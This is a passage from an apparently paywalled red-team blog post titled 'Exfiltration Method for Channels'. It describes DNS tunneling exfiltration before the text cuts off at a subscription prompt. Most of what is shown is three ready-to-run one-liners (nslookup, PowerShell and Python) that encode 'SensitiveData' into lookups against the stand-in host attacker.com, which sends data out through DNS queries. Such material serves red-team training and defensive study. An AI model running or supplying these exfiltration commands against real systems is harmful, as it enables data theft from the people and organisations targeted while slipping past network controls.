RedTeamGuides

RedTeamGuides

Exfiltration Method for Channels

Reza's avatar
Reza
Jan 26, 2025
∙ Paid

DNS Tunneling

  1. Using nslookup on Linux/macOS:

nslookup SensitiveData.attacker.com
  1. Using PowerShell on Windows:

[System.Net.Dns]::GetHostAddresses("SensitiveData.attacker.com") | ForEach-Object { $_.ToString() }
  1. Using Python on Linux/macOS/Windows:

python -c "import socket; print(socket.gethostbyname('SensitiveData.attacker.com'))"

This one would send 45 bytes p…

User's avatar

Continue reading this post for free, courtesy of Reza.

Or purchase a paid subscription.
© 2026 RedTeamGuides · Privacy ∙ Terms ∙ Collection notice
Start your SubstackGet the app
Substack is the home for great culture